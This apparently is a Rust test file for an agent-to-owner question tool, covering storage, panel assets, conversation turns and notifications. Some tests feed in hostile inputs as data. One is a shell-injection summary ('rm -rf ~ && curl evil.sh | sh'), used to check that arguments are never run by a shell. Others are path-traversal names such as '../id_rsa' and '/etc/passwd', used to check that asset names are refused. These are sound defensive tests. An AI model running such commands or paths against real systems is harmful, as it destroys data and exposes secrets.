1792        let writer = Questions::at(dir.path().join("questions"));
1793        let mut fresh = writer.get(&id).unwrap();
1794        fresh.say("why not Postgres?").unwrap();
1795        writer.put(&mut fresh).unwrap();
1796
1797        // `magi ask --wait` re-reads the question rather than reusing the
1798        // stale in-memory copy the earlier call held - so the copy handed to
1799        // `resume_wait` here already carries the reply, same as `fresh` above.
1800        let mut resumed = s.get(&id).unwrap();
1801        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
1802            .await
1803            .unwrap();
1804        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
1805        assert_eq!(
1806            resumed.status,
1807            QuestionStatus::Open,
1808            "talking back is not a decision; the question stays open"
1809        );
1810    }
1811
1812    #[tokio::test]
1813    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1814        // A broken webhook must not throw away an implementation, so the wait
1815        // reports the failure and carries on. `notify` itself still says what
1816        // went wrong, because `magi notify --test` has to be able to show it.
1817        let (dir, s) = store();
1818        let broken = config::Notify {
1819            command: vec![
1820                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1821                "{summary}".to_owned(),
1822            ],
1823        };
1824        let mut q = choice_question();
1825        assert!(
1826            notify(&broken, &q).await.is_err(),
1827            "the caller is told; it decides that it does not matter"
1828        );
1829
1830        let id = q.id.clone();
1831        let writer = Questions::at(dir.path().join("questions"));
1832        let handle = tokio::spawn(async move {
1833            tokio::time::sleep(Duration::from_millis(30)).await;
1834            let mut fresh = writer.get(&id).unwrap();
1835            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1836            writer.put(&mut fresh).unwrap();
1837        });
1838        let got = wait_for_owner(
1839            &mut q,
1840            &s,
1841            &broken,
1842            Duration::from_secs(5),
1843            Duration::from_millis(10),
1844        )
1845        .await
1846        .unwrap();
1847        handle.await.unwrap();
1848        assert_eq!(got, Wait::Answered("Redis".to_owned()));
1849
1850        // No command at all is the default, and is silence rather than failure.
1851        assert!(notify(&quiet(), &q).await.is_ok());
1852    }
1853
1854    #[test]
1855    fn notification_arguments_are_substituted_and_never_a_shell_string() {
1856        let mut q = choice_question();
1857        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1858        let template = [
1859            "ntfy".to_owned(),
1860            "publish".to_owned(),
1861            "--click".to_owned(),
1862            "{url}".to_owned(),
1863            "--title".to_owned(),
1864            "magi {run} needs you".to_owned(),
1865            "{summary}".to_owned(),
1866        ];
1867        let argv: Vec<String> = template
1868            .iter()
1869            .map(|a| expand(a, &q, "http://100.64.0.1:7777/#/questions"))
1870            .collect();
1871
1872        assert_eq!(
1873            argv,
1874            [
1875                "ntfy",
1876                "publish",
1877                "--click",
1878                "http://100.64.0.1:7777/#/questions",
1879                "--title",
1880                "magi 20260902-201256-9fb7 needs you",
1881                "; rm -rf ~ && curl evil.sh | sh #",
1882            ],
1883            "the shell metacharacters are one argument's contents, not syntax"
1884        );
1885
1886        // A summary that itself mentions a placeholder is text, not a template:
1887        // one left-to-right pass means a substituted value is never rescanned.
1888        q.summary = "should {url} be configurable?".to_owned();
1889        assert_eq!(
1890            expand("{summary}", &q, "http://x/#/questions"),
1891            "should {url} be configurable?"
1892        );
1893        // An unknown brace is the operator's own text and survives untouched.
1894        assert_eq!(
1895            expand("{title}: {run}", &q, ""),
1896            "{title}: 20260902-201256-9fb7"
1897        );
1898        assert_eq!(expand("no placeholders", &q, "http://x"), "no placeholders");
1899    }
1900
1901    #[test]
1902    fn the_notification_link_lands_on_the_view_that_can_answer() {
1903        assert_eq!(
1904            question_url("http://100.64.0.1:7777"),
1905            "http://100.64.0.1:7777/#/questions"
1906        );
1907        assert_eq!(
1908            question_url("http://100.64.0.1:7777/"),
1909            "http://100.64.0.1:7777/#/questions"
1910        );
1911        // An operator who wrote a fragment has said where they want to land.
1912        assert_eq!(
1913            question_url("http://magi.ts.net/#/runs"),
1914            "http://magi.ts.net/#/runs"
1915        );
1916        // Unset expands to nothing rather than to a guessed address.
1917        assert_eq!(question_url("  "), "");
1918    }
1919
1920    /// A question with a fixed id, so a panel's path on disk is predictable.
1921    fn panelled() -> Question {
1922        let mut q = choice_question();
1923        q.id = "20260903-014455-ab12".to_owned();
1924        q
1925    }
1926
1927    #[test]
1928    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1929        let (dir, s) = store();
1930        let work = dir.path().join("worktree");
1931        std::fs::create_dir_all(&work).unwrap();
1932        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1933        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1934
1935        let mut q = panelled();
1936        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1937        s.put_panel(
1938            &mut q,
1939            html,
1940            &[work.join("table.png"), work.join("diff.svg")],
1941        )
1942        .unwrap();
1943        s.put(&mut q).unwrap();
1944
1945        assert!(q.panel);
1946        assert_eq!(
1947            q.assets,
1948            ["diff.svg", "table.png"],
1949            "sorted, not in the order the agent happened to pass them"
1950        );
1951        assert_eq!(
1952            s.panel_html(&q.id).as_deref(),
1953            Some(html),
1954            "the html is stored byte for byte; the agent authored the markup"
1955        );
1956        assert_eq!(
1957            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1958            Some(&b"<svg/>"[..])
1959        );
1960
1961        // The record on disk carries the same two fields the front end reads.
1962        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
1963        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
1964        assert_eq!(json["panel"], true);
1965        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1966        let back = s.get(&q.id).unwrap();
1967        assert!(back.panel);
1968        assert_eq!(back.assets, q.assets);
1969
1970        // The assets were copied, so the panel still renders after `magi fold`
1971        // has deleted the candidate worktree the agent authored it in.
1972        std::fs::remove_dir_all(&work).unwrap();
1973        assert_eq!(
1974            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1975            Some(&b"\x89PNG"[..]),
1976            "a referenced asset would be gone with the worktree"
1977        );
1978    }
1979
1980    #[test]
1981    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1982        let (dir, s) = store();
1983        let mut q = panelled();
1984        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1985        s.put(&mut q).unwrap();
1986
1987        // A file exactly one level up from the panel directory - which is
1988        // where `..` lands - holding content a read would make visible.
1989        let secret = "this must never reach the browser";
1990        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1991        assert_eq!(
1992            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1993            secret,
1994            "the traversal is real: the operating system resolves this path \
1995             happily, which is why the name has to be refused before the join"
1996        );
1997
1998        let long = "x".repeat(200);
1999        for name in [
2000            "..",
2001            "../id_rsa",
2002            "..\\id_rsa",
2003            "sub/../id_rsa",
2004            "/",
2005            "\\",
2006            "/etc/passwd",
2007            "C:\\Windows\\win.ini",
2008            "",
2009            ".hidden",
2010            ".",
2011            long.as_str(),
2012        ] {
2013            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2014            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2015            assert!(
2016                e.contains("not a panel file name"),
2017                "`{name}` must be refused as a name, not attempted: {e}"
2018            );
2019            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2020        }
2021        // A name that is allowed still finds its file, so the refusals above
2022        // were the rule at work and not a store that reads nothing.
2023        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2024
2025        // The same rule on the write side, where the name comes from a source
2026        // file's base name, and a refusal leaves the stored panel untouched.
2027        let hidden = dir.path().join(".hidden");
2028        std::fs::write(&hidden, "x").unwrap();
2029        let e = s
2030            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2031            .unwrap_err()
2032            .to_string();
2033        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2034        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2035        assert!(q.assets.is_empty());
2036    }
2037
2038    #[test]
2039    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2040        let (dir, s) = store();
2041        let mut q = panelled();
2042        s.put(&mut q).unwrap();
2043
2044        // Sized rather than filled: the cap reads the file's length, and a
2045        // test that actually produced eight mebibytes would only be slower.
2046        let big = dir.path().join("recording.png");
2047        std::fs::File::create(&big)
2048            .unwrap()
2049            .set_len(PANEL_MAX_BYTES)
2050            .unwrap();
2051
2052        let html = "<p>see the recording</p>";
2053        let total = PANEL_MAX_BYTES + html.len() as u64;
2054        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2055        assert!(
2056            e.contains(&PANEL_MAX_BYTES.to_string()),
2057            "the cap is named so the agent knows the limit: {e}"
2058        );
2059        assert!(
2060            e.contains(&total.to_string()),
2061            "the actual size is named so the agent knows by how much: {e}"
2062        );
2063
2064        assert!(!q.panel);
2065        assert!(q.assets.is_empty());
2066        let left: Vec<String> = std::fs::read_dir(s.root())
2067            .unwrap()
2068            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2069            .collect();
2070        assert_eq!(
2071            left,
2072            [format!("{}.json", q.id)],
2073            "a refused panel leaves neither a directory nor scratch: {left:?}"
2074        );
2075    }
2076
2077    #[test]
2078    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2079        let (dir, s) = store();
2080        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2081        std::fs::create_dir_all(&before).unwrap();
2082        std::fs::create_dir_all(&after).unwrap();
2083        std::fs::write(before.join("diff.png"), "before").unwrap();
2084        std::fs::write(after.join("diff.png"), "after").unwrap();
2085
2086        let mut q = panelled();
2087        let e = s
2088            .put_panel(
2089                &mut q,
2090                "<p>x</p>",
2091                &[before.join("diff.png"), after.join("diff.png")],
2092            )
2093            .unwrap_err()
2094            .to_string();
2095        assert!(e.contains("diff.png"), "{e}");
2096        assert!(
2097            e.contains("before") && e.contains("after"),
2098            "both sources are named, because the fix is to rename one: {e}"
2099        );
2100        assert!(!q.panel);
2101        assert!(!s.panel_dir(&q.id).exists());
2102    }
2103
2104    #[test]
2105    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2106        let (dir, s) = store();
2107        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2108        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2109
2110        let mut q = panelled();
2111        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2112            .unwrap();
2113        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2114            .unwrap();
2115
2116        assert_eq!(q.assets, ["new.png"]);
2117        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2118        assert!(
2119            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2120            "an asset from the first attempt would show a mix of two answers"
2121        );
2122
2123        s.drop_panel(&q.id).unwrap();
2124        assert!(s.panel_html(&q.id).is_none());
2125        assert!(!s.panel_dir(&q.id).exists());
2126        s.drop_panel(&q.id)
2127            .expect("dropping a panel that is already gone is the desired state");
2128    }
2129
2130    #[test]
2131    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2132        let (_dir, s) = store();
2133        let mut q = panelled();
2134        s.put(&mut q).unwrap();
2135
2136        assert!(!q.panel);
2137        assert!(s.panel_html(&q.id).is_none());
2138        assert!(
2139            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2140            "a missing file is a 404 for the caller, not a failure of the store"
2141        );
2142        let json = serde_json::to_value(&q).unwrap();
2143        assert_eq!(json["panel"], false);
2144        assert_eq!(json["assets"], serde_json::json!([]));
2145
2146        // And an empty panel is refused, because an empty frame reads to the
2147        // owner as "the agent had nothing to say".
2148        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2149        assert!(e.contains("empty panel"), "{e}");
2150        assert!(!s.panel_dir(&q.id).exists());
2151    }
2152
2153    #[test]
2154    fn a_question_written_before_panels_existed_still_deserialises() {
2155        let (_dir, s) = store();
2156        std::fs::create_dir_all(s.root()).unwrap();
2157        let id = "20260902-231501-ab12";
2158        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2159        let body = r#"{
2160  "schema": 1,
2161  "id": "20260902-231501-ab12",
2162  "run": "20260902-201256-9fb7",
2163  "node": "implement",
2164  "seat": "impl-A",
2165  "summary": "Which storage backend should the cache use?",
2166  "detail": "Both are already dependencies.",
2167  "choices": ["SQLite", "Redis"],
2168  "status": "open",
2169  "asked_at": "2026-09-02T23:15:01Z",
2170  "answered_at": null,
2171  "answer": null
2172}"#;
2173        std::fs::write(s.path_of(id), body).unwrap();
2174
2175        let q = s.get(id).unwrap();
2176        assert!(
2177            !q.panel,
2178            "an absent field means no panel, not a parse error"
2179        );
2180        assert!(q.assets.is_empty());
2181        // Schema 1 predates `thread` entirely - not merely predates it having
2182        // any turns - and this build now speaks schema 3. Reading it must not
2183        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2184        // accepted and the missing field defaults to no conversation yet.
2185        assert_eq!(q.schema, 1);
2186        assert!(q.thread.is_empty());
2187        assert_eq!(
2188            q.answer_timeout, 0,
2189            "an absent field means unrecorded, not a zero-second deadline"
2190        );
2191        assert!(!q.waiting_on_agent());
2192        assert_eq!(q.summary, "Which storage backend should the cache use?");
2193        assert_eq!(
2194            s.list().len(),
2195            1,
2196            "and it is still listed; skipping it would hide an open question"
2197        );
2198    }
2199
2200    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2201        Turn {
2202            who,
2203            body: body.to_owned(),
2204            at,
2205        }
2206    }
2207
2208    #[test]
2209    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2210        // The phone reads this shape by hand, same as the question itself: a
2211        // rename here is a card that silently drops every message in it.
2212        let mut q = choice_question();
2213        q.thread
2214            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2215        let value = serde_json::to_value(&q.thread[0]).unwrap();
2216        let mut keys: Vec<&str> = value
2217            .as_object()
2218            .unwrap()
2219            .keys()
2220            .map(String::as_str)
2221            .collect();
2222        keys.sort_unstable();
2223        assert_eq!(keys, ["at", "body", "who"]);
2224        assert_eq!(value["who"], "operator");
2225        assert_eq!(value["body"], "why not Postgres?");
2226
2227        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2228        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2229        assert_eq!(parsed.who, Who::Agent);
2230    }
2231
2232    #[test]
2233    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2234        let mut q = choice_question();
2235        q.say("does the cache need eviction?").unwrap();
2236        assert_eq!(q.thread.len(), 1);
2237        assert_eq!(q.thread[0].who, Who::Operator);
2238        assert_eq!(q.thread[0].body, "does the cache need eviction?");
2239        // Speaking is not deciding: the status and the answer are untouched,
2240        // which is the whole point of the round trip existing at all.
2241        assert_eq!(q.status, QuestionStatus::Open);
2242        assert!(q.answer.is_none());
2243        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2244    }
2245
2246    #[test]
2247    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2248        let mut answered = choice_question();
2249        answered
2250            .answer(Answer::Choice("SQLite".to_owned()))
2251            .unwrap();
2252        let a = answered.say("still there?").unwrap_err().to_string();
2253        assert!(a.contains("already answered"), "{a}");
2254        let b = answered
2255            .reply("still there?", vec![])
2256            .unwrap_err()
2257            .to_string();
2258        assert!(b.contains("already answered"), "{b}");
2259
2260        let mut abandoned = choice_question();
2261        abandoned.abandon("timed out");
2262        let c = abandoned.say("hello?").unwrap_err().to_string();
2263        assert!(c.contains("abandoned"), "{c}");
2264
2265        let mut open = choice_question();
2266        let d = open.say("   ").unwrap_err().to_string();
2267        assert!(d.contains("empty"), "{d}");
2268        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
2269        assert!(e.contains("empty"), "{e}");
2270        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2271    }
2272
2273    #[test]
2274    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2275        let mut q = choice_question();
2276        q.say("SQLite or Redis, but what about disk space?")
2277            .unwrap();
2278        assert!(q.waiting_on_agent());
2279
2280        q.reply(
2281            "SQLite: it is one file, no server to run.",
2282            vec!["SQLite".to_owned()],
2283        )
2284        .unwrap();
2285
2286        assert_eq!(q.choices, ["SQLite"]);
2287        assert!(
2288            !q.waiting_on_agent(),
2289            "the agent spoke, so the owner is the one being waited on now"
2290        );
2291        assert_eq!(q.thread.len(), 2);
2292        assert_eq!(q.thread[1].who, Who::Agent);
2293
2294        // The new choice set is what a subsequent answer is checked against.
2295        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2296        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2297        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2298    }
2299
2300    #[test]
2301    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2302        let mut fresh = choice_question();
2303        assert!(
2304            fresh.should_notify(Timestamp::now()),
2305            "nobody has been notified yet, so the first ask always pages"
2306        );
2307
2308        fresh.say("why not Postgres?").unwrap();
2309        let just_said = fresh.thread[0].at;
2310        assert!(
2311            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2312            "still on the screen a minute later; no need to page again"
2313        );
2314        assert!(
2315            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2316            "exactly the window: `>` means this side stays quiet"
2317        );
2318        assert!(
2319            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
2320            "past the window: they may have walked away"
2321        );
2322    }
2323
2324    #[test]
2325    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
2326        let (_dir, s) = store();
2327        let mut q = choice_question();
2328        s.put(&mut q).unwrap();
2329        q.say("why not Postgres?").unwrap();
2330        s.put(&mut q).unwrap();
2331        q.reply("no server to run", vec!["SQLite".to_owned()])
2332            .unwrap();
2333        s.put(&mut q).unwrap();
2334
2335        assert_eq!(
2336            s.count_open(),
2337            1,
2338            "one question that talked twice is still one open question"
2339        );
2340        assert_eq!(s.open_for(&q.run).len(), 1);
2341    }
2342
2343    #[tokio::test]
2344    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2345        let (dir, s) = store();
2346        let mut q = choice_question();
2347        let id = q.id.clone();
2348        let writer = Questions::at(dir.path().join("questions"));
2349        let handle = tokio::spawn(async move {
2350            tokio::time::sleep(Duration::from_millis(30)).await;
2351            let mut fresh = writer.get(&id).expect("the question was filed first");
2352            fresh.say("why not Postgres?").unwrap();
2353            writer.put(&mut fresh).unwrap();
2354        });
2355
2356        let got = wait_for_owner(
2357            &mut q,
2358            &s,
2359            &quiet(),
2360            Duration::from_secs(5),
2361            Duration::from_millis(10),
2362        )
2363        .await
2364        .unwrap();
2365
2366        handle.await.unwrap();
2367        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2368        assert_eq!(
2369            q.status,
2370            QuestionStatus::Open,
2371            "talking back is not a decision; the question stays open"
2372        );
2373        assert!(q.answer.is_none());
2374    }
2375}